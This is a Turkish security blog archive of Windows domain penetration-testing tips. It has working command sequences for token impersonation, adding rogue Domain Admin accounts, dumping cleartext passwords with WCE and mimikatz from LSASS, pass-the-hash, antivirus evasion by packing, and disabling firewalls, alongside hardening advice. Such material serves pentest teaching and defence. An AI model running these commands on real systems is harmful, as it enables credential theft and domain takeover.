net etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster
net etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster

18 Ekim 2013 Cuma

İpucu: Domainde Yetkili Kullanıcının Haklarına ve Şifresine Sahip Olma

Domainde Yetkili Kullanıcının Haklarına ve Şifresine Sahip Olma

Amaç

  • Hedef makinelerde oturum elde edildikten sonra, bu makinelere dosya (wce.exe adlı uygulama dosyası veya başka dosyalar) aktarılacaktır ve çalıştırılacaktır.
  • Hedef makinelerde program çalıştırılacaktır. Bu program ile ele geçirilen oturumda aktif prosesi olan hesapların kimliğine bürünülecek ve bu hesapların şifreleri açık halde (clear text) elde edilecektir.


Yöntem
Önceki yazıda belirtildiği gibi, sisteme sızıldıktan sonra, yüksek yetkili kullanıcının sahip olduğu ve daha kararlı yapıdaki bir prosese sıçranabilir. Yüksek yetkili kullanıcının çalıştırdığı daha kararlı yapıda olan explorer.exe adlı prosese (748 numaralı proses) sıçranması aşağıda gösterilmiştir:
getuid
getpid
migrate 748
getuid
getpid

Hedef makinede yüksek yetkili kullanıcının sahip olduğu kararlı bir prosese geçme

Yetkili kullanıcının haklarına, o kullanıcının prosesine sıçramak yerine, Kerberos biletini elde ederek de gerçekleştirilebilir:
load incognito
list_tokens -u
getuid
getpid
impersonate_token DOJO\\sisyon
getuid
getpid
shell
whoami

Hedef makinede yüksek yetkili kullanıcının biletine sahip olunması

Not: Eski bilete geri dönmek için rev2self komutu kullanılabilir. Ayrıntılı bilgi için:
http://pentestlab.wordpress.com/2012/08/07/token-stealing-and-incognito/

SYSTEM hakları ile bir yerel kullanıcı eklenebilir veya çıkarılabilir, yerel yönetici grubuna eklenebilir:
whoami
net user TestYerelKullanici TestP@ss123 /add
net localgroup administrators TestYerelKullanici /add
net localgroup administrators

Hedef makineye yetkili bir kullanıcı ekleme

Domain Admin hakları ile bir yerel veya domain kullanıcısı eklenebilir veya çıkarılabilir. Daha sonra bu kullanıcı yerel veya domain admin grubuna eklenebilir, çıkarılabilir:
net user TestGenelKullanici /del /domain
net user TestGenelKullanici TestP@ss12345 /add /domain
net group "Domain Admins" TestGenelKullanici /add /domain
net group "Domain Admins" /domain

Domaine yetkili bir kullanıcı ekleme

WCE (veya mimikatz) uygulaması hakkında ayrıntılı bilgi için bakınız:
https://www.bilgiguvenligi.gov.tr/microsoft-guvenligi/bellekten-parolalarin-elde-edilmesi-1.html 
https://www.bilgiguvenligi.gov.tr/microsoft-guvenligi/bellekten-parolalarin-elde-edilmesi-2.html 
https://www.bilgiguvenligi.gov.tr/microsoft-guvenligi/bellekten-parolalarin-elde-edilmesi-3.html

Not: Sızılan makine domain controller ise, domain admin yetkisindeki bir kullanıcı ile yukarıda belirtildiği gibi kullanıcı oluşturup, domain admins grubuna atanamaz. Bu sebeple, domain controller makinesine sızıldığında bu işlemler SYSTEM rolündeyken yapılmalıdır.

Elimizde domain admin kullanıcısının prosesi / bileti bulunmaktadır. Bu prosesi / bileti kullanarak, kullanıcının şifresinin açık halini elde edebiliriz. Bu amaçla hedef bilgisayara “wce.exe” adlı bir uygulama yüklenecek, çalıştırılacak ve kullanıcı şifresi elde edilecektir:
sysinfo
upload /wce.exe “C:\\”
shell
cd C:\
wce.exe -–w
'wce.exe' uygulaması ile yetkili kulalnıcının şifresinin elde edilmesi

Not: 'sysinfo' komutu ile hedef makinenin sistem mimarisi  (64 bit / 32 bit) hakkında bilgi edinilmektedir. Sistem mimarisine göre uygun uygulama (exe) dosyası yüklenecektir. Daha ayrıntılı sistem bilgisi için 'systeminfo' komutu da kullanılabilir.

Not: Bir çok anti virüs "wce.exe" uygulamasını yakalamakta ve hedef makineye yüklenmesine izin vermemektedir. Bu sebeple packer adı verilen uygulamalar kullanılmaktadır. UPX Packer uygulamasının kullanımı için bakınız. Diğer antivirüs atlatma yöntemleri için bakınız.

Not: wce.exe uygulaması (Windows Credential Editor) aracılığıyla RAM üzerinde kalmış kullanıcıların şifre bilgilerine erişilebilmektedir. Ayrıntılı bilgi için: http://www.ampliasecurity.com/research/wcefaq.html


Önlem

  • Sistem yöneticilerine ve diğer tüm kullanıcılara ait hesapların izinleri belli periyotlarla kontrol edilmelidir. Gereksiz haklar / roller alınmaldır.
  • Domainde etkin olacak servis hesaplarına, sadece gerçekleştirecekleri işlemler için gerekli olan haklar verilmelidir. Bu tür hesapların kullanıcı oluşturma, silme, şifre değiştirme gibi işlemleri veya interaktif oturum açma gibi işlemleri yapmaya hakları olmamalıdır.
  • Gereksiz paylaşımlar kullanıma kapatılmalıdır. Dosya sunucularına, domain üzerinde yüksek haklara sahip kullanıcıların hesabı ile girilmemelidir.


10 Eylül 2013 Salı

İpucu: PsExec Yerine WCE ile Bilgisayara Sızma

İpucu: PsExec Yerine WCE ile Bilgisayara Sızma

Bazı durumlarda sadece elimizde kullanıcı özetleri (özellikle yerel hesaplar için) bulunabilmekte bu özetler kırılamamakta ve parolann açık hali elde edilememektedir.örneğin yerel yönetici parola özetini bir bilgisayardan alıp diğer bilgisayarlarda da ortak kullanıldığı tespit edilebilmekte (smb_login, smb_enumusers_domain vs ile) ancak diğer bilgisayarlara erişim sağlanamamaktadır. Örneğin psexec (Sysinternals, msfconsole, metasploit vs) çalışamamakta; "net use", RDP (mstsc) ise parolanın açık halini istemektedir. Bu gibi durumlarda WCE aracı "-s" parametresi ile kullanılabilir.

Senaryo:
Saldırgan tarafından ele geçirilen bir bilgisayarın gömülü yerel kullanıcı bilgileri aşağıdaki gibidir:

Kurban kullanıcısına ait olan bir bilgisayarın gömülü yerel kullanıcı bilgileri aşağıdaki gibidir:

Saldırgan "net use" komutu ile kurban makinesine ortak kullanılan yerel yönetici kullanıcısının parola özeti ile bağlanamıyor:

Saldırgan Sysinternals psexec aracı ile kurban makinesine ortak kullanılan yerel yönetici kullanıcısının parola özeti ile bağlanamıyor:

Not: Saldırgan Sysinternals psexec aracı ile kurban makinesine ortak kullanılan yerel yönetici kullanıcısının parolası (Deneme.123?) ile bağlanabiliyor:

Bu gibi durumlarda WCE aracı kullanılabilir. Normalde saldırganın parola ve parola özet bilgisi aşağıdaki gibidir:

Bu bilgiler "wce -s" komutu ile değiştirilirse, kurbanın makinesine bağlantı kurulumu parolanın açık haline gerek kalmadan "net use" ile sağlanabilir.


Bu aşamadan sonra, hedef sisteme MS psexec aracı ile komut satırı bağlantısı da kurulabilir. Veya Services / Registry Editor konsollarıyla da erişilebilir.

Not: Bazı durumlarda bu işlem çalışmayabilmektedir. Çalışıp çalışmadığının kontrolü için parola özetinin ilk hali ve RAM bilgisi değiştirildikten sonraki hali "wce" komutunun çalıştırılmasıyla kontrol edilebilir. 

Not: Bir kaç deneme yapılmasına rağmen "net" aracı ile bağlantı başarılı bir şekilde gerçekleşemeyip, parolanın açık hali isteniyorsa saldırgana ait Windows bilgisayar yeniden başlatılabilir.

Not: NTLM değişimi gerçekleşmesine ve bilgisayarın yeniden başlatılmasına rağmen, parolanın açık hali istenmeye devam ediyorsa, "net" aracına etki alanı değişik formatlarda verilebilir. Örneğin; "/user:192.168.100.110\Administrator", "/user:WORKGROUP\Administrator", "/user:PC_Kurban\Administrator",... gibi.

Not: Eğer RAM üzerindeki değer değişmemişsse (hala "Saldırgan" kullanıcısının parolası gözüküyorsa), kurban bilgisayarına sızmak için kullanılan kullanıcı adı (Administrator) ile aynı isimdeki bir kullanıcı adı ile saldırgan bilgisayarında oturum açmak gerekebilir. Yani, yukarıdaki ekran görüntüsü saldırgana ait sanal bilgisayarda Saldırgan kullanıcı adı ile gerçekleştirilmişti. Elde edilen kurban bilgisayarındaki kullanıcı adı Administrator olduğu için, saldırgan bilgisayarında da Administrator adındaki kullanıcı ile oturum açmak gerekebilir. 


14 Haziran 2013 Cuma

Procdump ve Mimikatz ile LSASS İçerisinden Oturum Açan Kullanıcıların Parolalarını Elde Etme

İpucu: Procdump ve Mimikatz ile LSASS İçerisinden Oturum Açan Kullanıcıların Parolalarını Elde Etme

Mimikatz bir prosesin (içerisinde kimlik bilgileri barındıran LSASS.exe) içinden logon olmuş kullanıcıların parolalarını çekebilmektedir. Böylece oturum açılabilen ama AV gibi engelleyici sistemler yüzünden mimikatz/wce çalıştırılamayan makinelerde proses içerisinden bu kimlik bilgileri elde edilebilir.

Yazının devamı için:
http://www.siberportal.org/red-team/windows-operating-system-penetration-tests/obtaining-clear-text-password-from-lsass-dump-file-that-is-stolen-from-network-drive-mapping-using-mimikatz-tool/
ve
http://www.siberportal.org/red-team/windows-operating-system-penetration-tests/obtaining-clear-text-password-from-lsass-dump-file-that-is-stolen-from-remote-windows-computers-command-line-using-mimikatz-tool/



7 Aralık 2012 Cuma

İpucu: Hedef Makineden Sistem ve Domain Hakkında Bilgi Edinme


Hedef Makineden Sistem ve Domain Hakkında Bilgi Edinme

Amaç
  • Etki alanı ve son kullanıcıları bilgisayarları sızma testlerindeki hedef; domain admin kullanıcısının şifresini/biletini elde etmek ve/veya domain controller makinesine yetkili kullanıcı ile erişebilmektir. Bu hedefe ulaşmak için domain hakkında bilgi sahibi olunacaktır.
  • "Domain Admins" kullanıcı grubunda bulunan domain yöneticilerine ait hesap adları bulunacaktır.
  • "Domain Controllers" makine grubunda bulunan makineler tespit edilecektir.
  • Paylaşımları belirlenecektir. Bu bilgi ileriki adımlarda, hedef makinelere aktarım yapıp, o makinelerde program çalıştırmak için kullanılacaktır.

Yöntem
Sızılan bir makineden olabildiğince fazla bilgi edinilmeye çalışılır. Bu bilgiler makineye özel olabildiği gibi, makine domainde ise domain hakkında da olabilir. Bu bilgilerden bazıları aşağıdaki gibidir:
  • Makinede oturum açan kullanıcının aktiflik süresi:
idletime
Makinede oturum açan kullanıcının aktiflik süresinin bulunması
  • Hedef makinede çalışan prosesler:
ps
Çalışan proseslerin listelenmesi - 1
  • İkinci seçenek:
tasklist
Çalışan proseslerin listelenmesi - 2
  • Hedef makinedeki yerel kullanıcılar:
net user
Yerel kullanıcılarının listelenmesi
  • Hedef makinedeki yerel yöneticiler:
net localgroup administrators
Yerel yönetici grubu üyelerinin listelenmesi
  • Hedef makinedeki paylaşımlar:
net share
Makinedeki paylaşımların listelenmesi
  • Hedef makinenin bağlı olduğu domaindeki kullanıcılar:
net user /domain
Domain kullanıcılarının listelenmesi
  • Hedef makinenin bağlı olduğu domaindeki gruplar:
net groups /domain
Domain gruplarının listelenmesi
  • Domain Admins grubunun üyeleri:
net group “Domain Admins” /domain
Domain yöneticilerinin listelenmesi
  • Hedef makinenin bağlı olduğu domainde bulunan makineler:
net group “Domain Computers” /domain
Domaindeki makinelerinin listelenmesi
  • Domain Controller makineleri::
net group “Domain Controllers” /domain
Domaindeki Controller makinelerinin listelenmesi
  • Hedef makinenin bağlı olduğu ağdaki paylaştırılmış kaynaklar:
net view
Ağdaki paylaştırılmış kaynakların listelenmesi

"net" komutu ile yukarıda belirtilen bilgilerin haricinde daha bir çok bilgi edinilebilir. Bu komut yerine DC üzerinde hesap, grup sorgulaması yapan ve arayüze sahip "Active Directory Explorer" uygulaması da kullanılabilir. Bu araç aşağıdaki adresten indirilebilir:
http://technet.microsoft.com/en-us/sysinternals/bb963907.aspx

Not: Domainden elde edilebilecek bilgilerle ilgili aşağıdaki sayfa incelenebilir:
http://ertugrulbasaranoglu.blogspot.com.tr/2012/10/domainden-elde-edilebilecek-baz-onemli.html


Önlem
  • Domain makinelerinde "net" komutunun kullanılması engellenmelidir.
  • Domain yöneticileri gibi yetkili kullanıcıların bulundukları grupların adları, dikkat çekmeyecek şekilde değiştirilmelidir.
  • Açılan paylaşımlardaki izinler sadece erişmesi gerekenlerin ulaşabilmesine olanak verecek şekilde ayarlanmalıdır. Yönetimsel paylaşımlar eğer kullanımları gerekmiyor ise domain politikaları ile kaldırılmalıdır.


8 Ekim 2012 Pazartesi

Sızma Testlerinden Korunma Yolları: Domain


Domain için Önlemler

Bilgisayarların CD/USB'den boot edilmesi önlenmelidir.
  • BIOS ayarlarından CD-ROM / BIOS yolu ile boot işlemi iptal edilmelidir. Makinenin öncelikle harddisken başlaması için gerekli ayarlar yapılmalıdır.
  • BIOS ayarı yapılmaya çalışılırken şifre sorgulaması yapılmalıdır.
  • Makinelerde diskler tamamen şifrelenmelidir(Full Disk Encryption). Bu şekilde makine boot edilse bile SAM/SYSTEM dosyaları elde edilemeyecektir.
  • Makinelerde LM özetlerinin saklanmamalıdır. En az NTLM şifreleme metodu kullanılmalıdır.

Ağ yapılandırması gözden geçirilmelidir.
  • Gerekli olmayan portlar ve servisler kapatılmalıdır.
  • Ağ üzerinde kurallar tanımlayarak; belirlenen IP’lere, belirlenen portlardan kontrollü bir şekilde izin verilmelidir.
  • Gereksiz paylaşımlar kullanıma kapatılmalıdır. 
  • Açılan paylaşımlardaki izinler sadece erişmesi gerekenlerin ulaşabilmesine olanak verecek şekilde ayarlanmalıdır. Yönetimsel paylaşımlar eğer kullanımları gerekmiyor ise domain politikaları ile kaldırılmalıdır.

Zafiyetler giderilmeli ve sistemler güncellenmelidir.
  • Belli periyotlarla zafiyet taraması gerçekleştirilmelidir.
  • Acil olan zafiyetler gerekiyorsa hemen giderilmelidir.
  • Sistemlere son yamalar geçilmelidir.
  • Zafiyetler için kurum politikası belirlenmelidir.
  • AV, IDS/IPS, ADS gibi sistemlerin imzaları güncel tutulmalıdır.
  • Uzaktan kod çalıştırmaya olanak sağlayan bazı kritik açıklıklar şunlardır:
    • MS09-001 / Critical: Vulnerabilities in SMB Could Allow Remote Code Execution (958687)
    • MS08-067 / Critical: Vulnerability in Server Service Could Allow Remote Code Execution (958644)
    • MS05-051 / Critical: Vulnerabilities in MSDTC and COM+ Could Allow Remote Code Execution (902400)
    • MS06-040 / Critical: Vulnerability in Server Service Could Allow Remote Code Execution (921883)
    • MS05-027 / Critical: Vulnerability in Server Message Block Could Allow Remote Code Execution (896422)
    • MS05-035 / Critical: Vulnerability in Microsoft Word Could Allow Remote Code Execution (903672)
    • MS09-050 / Critical: Vulnerabilities in SMBv2 Could Allow Remote Code Execution (975517)
    • MS08-059 / Critical: Vulnerability in Host Integration Server RPC Service Could Allow Remote Code Execution (956695)
    • MS09-004 / Important: Vulnerability in Microsoft SQL Server Could Allow Remote Code Execution (959420)

İmajların yapılandırılmasına özen gösterilmelidir.
  • Zafiyet taramaları sonucunda elde edilen sonuçlara göre gerekiyorsa imajlar güncellenmelidir.
  • Mevcut sistemlerde gerekli olmayan yerel yönetici kullanıcıları (administrator) devre dışı bırakılmalı ve isimleri her makine için farklı olacak şekilde değiştirilmelidir. Böylece yapılacak saldırıda yerel yönetici hesabının isminin kolayca ve otomatik olarak bulunmasını zorlaştıracaktır. Ayrıca SID değerini kontrol etmeyen saldrgan yanlış yönlendirilecektir. Devre dışı bırakılan Administrator kullanıcısı yerine hakları, izinleri ve grup üyelikleri sınırlandırılmış bir standart kullanıcı oluşturulmalıdır. Oluşturulan bu tuzak yönetici hesabının adı Administrator, tanımı klasik yerel yönetici kullanıcısına ait tanım ("Built-in account for administering the computer/domain") olarak ayarlanmalıdır.Bu kullanıcı kullanılarak saldırgan yanlış yönlendirilebilir. 
    • Parolası olabildiğince uzun (127 karakter olabilir) veriler ve bu hesap devre dışı bırakılabilir.  Saldırganın zaman kaybetmesi sağlanır.
    • Parolası kolayca elde edilebilecek şekilde kısa ayarlanabilir. Daha sonra bu hesap ile bir kez oturum açılarak hesap etkin olarak bırakılabilir. Bu hesap ile yapılan işlemlerin denetim kayıtları tutularak bu hesaplar ile yapılan işlemlerden anlık olarak haberdar olunması sağlanabilir.Böylece muhtemel saldırının önüne de geçilebilir.
  • Kurulan makinelerdeki yerel kullanıcılara ait şifre özetleri, diğer makinelere erişim için kullanılabileceğinden, kurumdaki makinelerde bulunan yerel yönetici şifrelerinin farklı olmasına özen gösterilmelidir.
  • Kurumdaki makinelerin yerel yönetici kullanıcılarına ait şifreler belli periyotlarla manuel olarak değiştirilmelidir. Bu işi saatlik olarak gerçekleştiren araçlar kullanılmalıdır.
  • Yerel yönetici hesaplarının şifreleri, şifre kırma saldırılarına karşı korumak amacıyla karmaşık seçilmelidir.

Domain hakkında bilgi edinilmesi zorlaştırılmalıdır.
  • Kullanıcıların komut satnetırı kullanabilmeleri önlenmelidir.
  • Komut satırından "net", "gpresult" komutu gibi domain hakkında bilgi alınmasını sağlayabilecek komutların kullanılması önlenmelidir. Domain hakkında elde edilebilecek komutların bir kısmı için bakınız: 
  • Domain yöneticileri gibi yetkili kullanıcıların bulundukları grupların adları, dikkat çekmeyecek şekilde değiştirilmelidir.

Son kullanıcılar ve bilgisayarları belli periyotlarla kontrol edilmelidir.
  • Makinelerde yüksek yetkili kullanıcı hakları ile çalıştırılan gereksiz prosesler sonlandırılmalıdır.
  • Makinelere giren kullanıcılar, işlemleri bittikten sonra bilgisayarlarını yeniden başlatmaya (restart) zorlanmalıdır.
  • Domain yöneticileri gibi, önemli gruplardaki kullanıcıların iki tane hesabı olmalıdır. Bu hesaplardan birisi domain üzerinde işlem yapma haklarına sahip oldukları yetkili hesaptır. İkinci hesap ise, domaindeki normal kullanıcılar gibi, yetkisiz hesaptır. Domain yöneticileri yetkili hesaplarını sadece domain işlemlerini yaparken kullanmalıdır, bu hesapla domain controller haricinde gerekmedikçe herhangi bir yere giriş yapılmamalıdır. Farklı sistemlere giriş için yetkisiz / az yetkili hesap kullanılmalıdır. 
  • Önemli gruplarda olan yetkili kullanıcılar bu hesaplarını sadece domaine kullanıcı ekleme, domainden kullanıcı çıkarma, grup politikasını güncelleme gibi işlemler için kullanmalıdır. Domain controller gibi, belli ve sınırlı sayıdaki makinelere bu kullanıcı ile giriş yapılmalıdır.
  • Gereksiz paylaşımlar kullanıma kapatılmalıdır. Dosya sunucularına, domain üzerinde yüksek haklara sahip kullanıcıların hesabı ile girilmemelidir.
  • Domainde etkin olacak servis hesaplarına, sadece gerçekleştirecekleri işlemler için gerekli olan haklar verilmelidir. Bu tür hesapların kullanıcı oluşturma, silme, şifre değiştirme gibi işlemleri veya interaktif oturum açma gibi işlemleri yapmaya hakları olmamalıdır.
  • Dosya sunucularına, domain üzerinde yüksek haklara sahip kullanıcıların hesabı ile girilmemelidir.
  • Yerel yönetici hesapları gibi domaindeki kullanıcıların şifreleri de , şifre kırma saldırılarına karşı korumak amacıyla karmaşık seçilmelidir. Bu amaçla grup politikaları güncellenmelidir.
  • Güvenli şifre politikaları belirlenmelidir. Aşağıdaki ayarlar uygulanabilir:
    • Enforce password history: 5 Şifre
    • Maximum Password Age: 30 Gün
    • Minimum Password Age: 1 Gün
    • Minimum Password Length: 8 Karakter (en az)
    • Passwords must meet complexity requirements: Etkin
    • Store password using reversible encryption: Devre dışı
  • Domaindeki kullanıcılara ilgili makinelerde yönetici hakkı verilmemelidir. Gerekli olan haklar geçici olacak şekilde verilmelidir.
  • Kullanıcılar makinelerinde yönetici hesapları ile oturum açmamalıdır. Yönetimsel operasyon yapılacak ise, “Run as” ile yönetici hesabına geçiş yapılmalıdır.
  • Son kullanıcıların makinelerinde parolaları içeren dosyalar açık halde tutulmamalıdır, şifrelenmelidir.
  • Domaindeki yetkili kullanıcıların biletleri, çıkış yapıldıktan itibaren otomatik olarak silinecek şekilde yapılandırma yapılmalıdır.
  • RDP yapılmamalıdır. Yapılması gerekiyorsa da her erişim sonrası oturumlar kapatılmalıdır (logoff), mümkünse makine yeniden başlatılmalıdır (restart). RDP yapılan hesapların domain üzerinde yetkili olmamasına dikkat edilmelidir.

Audit işlemleri aktif olmalıdır.
  • Yerel makinelerdeki ve domaindeki işlemlerin logları alınmalıdır.
  • Ağdaki anormallik durumları için alarmlar oluşturulmalıdır. Port taramalar engellenmelidir.
  • Domainde kullanıcı oluşturma/silme işlemleri, hak yükseltme/düşürme işlemleri, kullanıcıları gruba ekleme/çıkarma işlemleri,... gözlenmelidir.

6 Ekim 2012 Cumartesi

Etki Alanı Sızma Testlerinde Kullanılabilecek Komutlar

Etki Alanı Sızma Testlerinde Kullanılabilecek Komutlar
Oturumunda Olunan Kullanıcının Adı
whoami
echo %computername%\%username%

Kullanıcıya Ait Tüm Bilgiler
whoami /all

Açık portlar
netstat -ano -p TCP

Açık portlar (Saniyede bir güncellenir)
netstat -ano 1

Açık portu kullanan uygulama
netstat -abf
Örnek: TCP 192.168.0.97:2854 193.140.13.200:imaps ESTABLISHED [OUTLOOK.EXE]

RDP ile bağlanılan makineler
netstat -ano | findstr 3389 | findstr /v 0.0.0.0:3389

Zamanlanmış görevler
schtasks /query /fo LIST /v | findstr "Folder: HostName: Author: Run: TaskName: Comment:"

Zamanlanmış görev oluşturma
at \\192.168.32.62 15:00 "cmd.exe"

Çalışan servislerin listelenmesi
sc query
sc queryex            (PID değeri de içerir)

Bir servisi kapatma
net stop PolicyAgent

Servisleri Listeleme
wmic service get name, displayname, started | findstr /C:Term

Remote Desktop'u etkinleştirmek
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall set service remotedesktop enable

Remote Assistant'ı etkinleştirmek
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f

Başka bir kullanıcı gibi komut satırını çalıştırma
runas /env /user:FENER\alex cmd

Bir servisi disable etme
sc config PlugPlay start= disabled
(Power, PlugPlay gibi kapatılamayan servisler devre dış bırakılıp, makine yeniden başlatılırsa bu servis çalışmaz.)
net stop TermService

Çalışan prosesleri servisine göre listeleme ve filtreleme
tasklist SVC | findstr /I "msseces.exe"

Çalışan proseslerin detayları
wmic process where (executablepath like "%system32%" and name!="svchost.exe" or Priority = "8" ) get HandleCount, Name, ParentProcessId, Priority, ProcessId, ThreadCount /Every:3 >  C:\Users\DenemeKullanici\Desktop\Sonuc.txt

Çalışan prosesi öldürme
taskkill /F /T /IM filezillaftp.exe

Uzaktaki Bilgisayarın Sistemi
psinfo \\172.16.4.230 -h -s -d

SYSTEM kullanıcı hakkını elde etme
PSEXEC -s cmd.exe

Uzaktaki Bilgisayarın Komut Satırına Geçmek
psexec \\172.16.4.230 -u FENER\alex -p 1907?Fenerbahce cmd.exe -i 0

Uzaktaki Bilgisayarda çalışan prosesler
tasklist /V /S 172.16.72.129 /U FENER\alex /P 1907?Fenerbahce

Makinede Açık Olan Tüm Oturumlar
query session
qwinsta

Oturumu açık kullanıcıları elde etme
query session /server:MSGE-PC

3 nolu oturumu düşürme
reset session 3 /server:MSGE-PC

Grup İlkesinin Güncellenmesi
gpupdate /force

Grup İlkesi
gpresult /z
gpresult /H C:\Users\UygulananIlke.html

Denetim Kurallarını elde etme
auditpol /get /category:*

Bir Registry kaydını elde etme
reg query HKLM\System\CurrentControlSet\Control\Lsa /v crashonauditfail

Bir Audit kaydını düzenleme
auditpol /set /subcategory:"IPsec Driver" /success:enable /failure:disable

Belli isimdeki bir dosyanın / klasörün aranması
dir H:/Muziklerim /s /b | findstr Sezen > liste.txt
tree H:/Muziklerim /F  | findstr Sezen > liste.txt

Parola politikası
net accounts
net accounts /uniquepw:5

Güvenlik duvarını aktifliğini kontrol etme
netsh firewall show opmode
netsh advfirewall show allprofiles

Güvenlik duvarını etkinsizleştirme
netsh advfirewall set allprofiles state off
netsh firewall set opmode mode=DISABLE
netsh advfirewall set currentprofile state off

Düşürülen paketleri loglama
netsh firewall set logging droppedpackets = enable
netsh firewall set logging connections = enable
Logların düştüğü dizin:          %systemroot%\System32\LogFiles\Firewall\pfirewall.log

Kayıtlı kritik bilgileri elde etme
Get-ChildItem -Path C:\docs, C:\inetpub, C:\PerfLogs, C:\ProgramData, C:\Users -Include *.txt,  *.log, *.bat, *.reg, *.cs, *.sql, *.ps1, *.config, *.properties  -Recurse | Select-String -Pattern Password, password, Sifre, sifre, Parola, parola, Şifre, şifre, root, admin -casesensitive > C:\Windows\_Arama.txt
Uzantılar: txt, log, bat, reg, cs, sql, ps1, config, properties , ora, xml, java, doc, docx, pdf, xls, xlsx, csv, html, xhtml, htm, cmd, php, py, rb, sh, vbs, c, cfg, mhtml, asp, aspx, jsp, pl, eml, ini, inf
Kaynak: http://en.wikipedia.org/wiki/List_of_file_formats

Kullanıcı & Grup işlemleri
net user --> Tüm yerel kullanıcılar listelenir.
net user YeniKullanici --> Belli bir yerel kullanıcının özellikleri listelenir.
net user YeniKullanici Deneme123. /add
net localgroup
net localgroup "Remote Desktop Users"
net localgroup Administrators YeniKullanici /add
net user /domain
net user YeniHesap /domain
net user YeniHesap Deneme123. /domain /add
net group /domain
net group "Domain Admins" /domain
net group "Domain Admins" YeniHesap /domain /add

Bilgisayar işlemleri
net group "Domain Computers" /domain
net group "Domain Controllers" /domain
Get-ADComputer -Filter { OperatingSystem -Like '*XP*' } -Properties OperatingSystem | Format-Table Name, OperatingSystem -Wrap -Auto

Bağlı Olunan Domain Controller
echo %LOGONSERVER%
systeminfo | findstr "Domain:"

Windows Güven İlişkileri
nltest /domain_trusts --> Tüm güven ilişkilerini listeler
nltest /dcname:Sirket --> Belli bir domaindeki PDC sunucusunu sorgular.
([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).Domains --> Forest içerisindeki tüm domain'ler listelenir.
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships() --> Mevcut domain için tüm güven ilişkileri (Parent-Child, 2 yönlü vs) listelenir.


Saldırı amaçlı komutlar
net use \\<Win_IP>\C$ /user:<WORKGROUP>\Tubitak  Aa123456
psexec \\<Win_IP> -u WORKGROUP\tubitak -p Aa123456 cmd.exe
mimikatz > privilege::debug > sekurlsa::logonPasswords
wce -s WORKGROUP:Administrator:<LM>:<NTLM>

procdump -accepteula -ma lsass.exe lsass.dmp
mimikatz > sekurlsa::minidump lsass.dmp > sekurlsa::logonPasswords

net time \\<Win_IP>
at \\<Win_IP> 10:32 C:\Yeni_Klasor\Procdump_Betik.bat
@echo off
C:\Yeni_Klasor\procdump.exe -accepteula -ma lsass.exe C:\Yeni_Klasor\Hedef_LSASS.dmp

1 Ekim 2012 Pazartesi

Domainden Elde Edilebilecek Bazı Önemli Bilgiler

Domain Bilgileri

Bağlı Olunan Domain Controller
echo %LOGONSERVER%
systeminfo | findstr "Domain:"

Active Directory Üzerindeki Konum
gpresult /V | findstr CN=

Domaindeki Kullanıcılar
net user /domain

Domaindeki Gruplar
net groups /domain

Domain Yöneticileri
net group "Domain Admins" /domain

Domaindeki Makineler
net group "Domain Computers" /domain

Domain Controller Makineler
net group "Domain Controllers" /domain

Oturumunda Olunan Kullanıcının Adı
whoami
echo %computername%\%username%

Kullanıcıya Ait Tüm Bilgiler
whoami /all

Kullanıcıyı Yerel Yöneticiler Grubuna Eklemek
net localgroup Administrators ertugrul.basaranoglu /add

Domaindeki hesap politikası 
net accounts

Uzaktaki Bilgisayarın Sistemi
psinfo \\172.16.4.230 -h -s -d

Uzaktaki Bilgisayarın Komut Satırına Geçmek
psexec \\172.16.4.230 -u FENER\alex -p 1907?Fenerbahce cmd.exe -i 0

Uzaktaki Bilgisayarda çalışan prosesler
tasklist /V /S 172.16.72.129 /U FENER\alex /P 1907?Fenerbahce

Makinede Açık Olan Tüm Oturumlar
query session
qwinsta

Grup İlkesinin Güncellenmesi
gpupdate /force

Grup İlkesi
gpresult /z

Domain Yöneticilerinin Domaindeki İlke Bilgileri
for /f "delims=" %X in (DomainAdminsGrubuUyeleri_Listesi.txt) do net user %X /domain >> DomainAdminsGrubuUyelerininİlkeBilgileri.txt
Not: Tek bir kullanıcının domain ilke bilgisini elde etmek için aşağıdaki komut kullanılabilir:
          net user ertugrul.basaranoglu /domain
Not: Oturumu açılan bir kullanıcının domain ilke bilgisini elde etmek için aşağıdaki komut kullanılabilir:
          whoami /all
Not: Girdi olarak verilen liste (DomainAdminsGrubuUyeleri_Listesi.txt), Domain Yöneticilerini bulurken elde edilen kayıtların tek tek alt alta yazdırılmasıyla oluşmuştur.

Domain Yöneticilerinin Domaindeki Tüm Bilgileri
for /f "delims=" %X in (DomainUsersGrubundakiKullanicilar_Listesi.txt) do gpresult /USER %X /V >> DomainAdminsGrubuUyelerininDomaindekiTumBilgileri.txt
Not: Tek bir kullanıcının domaindeki tüm bilgilerini elde etmek için aşağıdaki komut kullanılabilir:
          gpresult /USER ertugrul.basaranoglu /Z
Not: Girdi olarak verilen liste (DomainAdminsGrubuUyeleri_Listesi.txt), Domain Yöneticilerini bulurken elde edilen kayıtların tek tek alt alta yazdırılmasıyla oluşmuştur.

Kullanıcıların Açık Olan Oturumları
for /f "delims=" %X in (DomainUsersGrubundakiKullanicilar_Listesi.txt) do PsLoggedon -l %X >> KullanicilarinAcikOlanOturumlari.txt
Not: Tek bir kullanıcının açık olan oturumunu elde etmek için aşağıdaki komut kullanılabilir:
          PsLoggedon -l ertugrul.basaranoglu
Not: Girdi olarak verilen liste (DomainUsersGrubundakiKullanicilar_Listesi.txt), Domain Kullanıcılarını bulurken elde edilen kayıtların tek tek alt alta yazdırılmasıyla oluşmuştur.
Not: Domain Controller makinesinde Security Event'lerdeki kayıtlardan tek bir kullanıcının açık olan oturumunu elde etmek için aşağıdaki power shell komutu kullanılabilir:
          Get-EventLog security 4624 -newest 10000 | Where-Object{$_.Message -like '*ertugrul.basaranoglu*'}| format-list Message

Bilgisayarlarda Oturumu Açık Olan Kullanıcılar
for /f "delims=" %X in (DomainComputersGrubundakiBilgisayarlar_Listesi.txt) do PsLoggedon -l \\%X >> BilgisayarlardaOturumuAcikKalanKullanicilar.txt
Not: Tek bir bilgisayarda açık olan kullanıcı oturumlarını elde etmek için aşağıdaki komut kullanılabilir:
          PsLoggedon -l \\TestBilgisayari
          logonsessions.exe /p
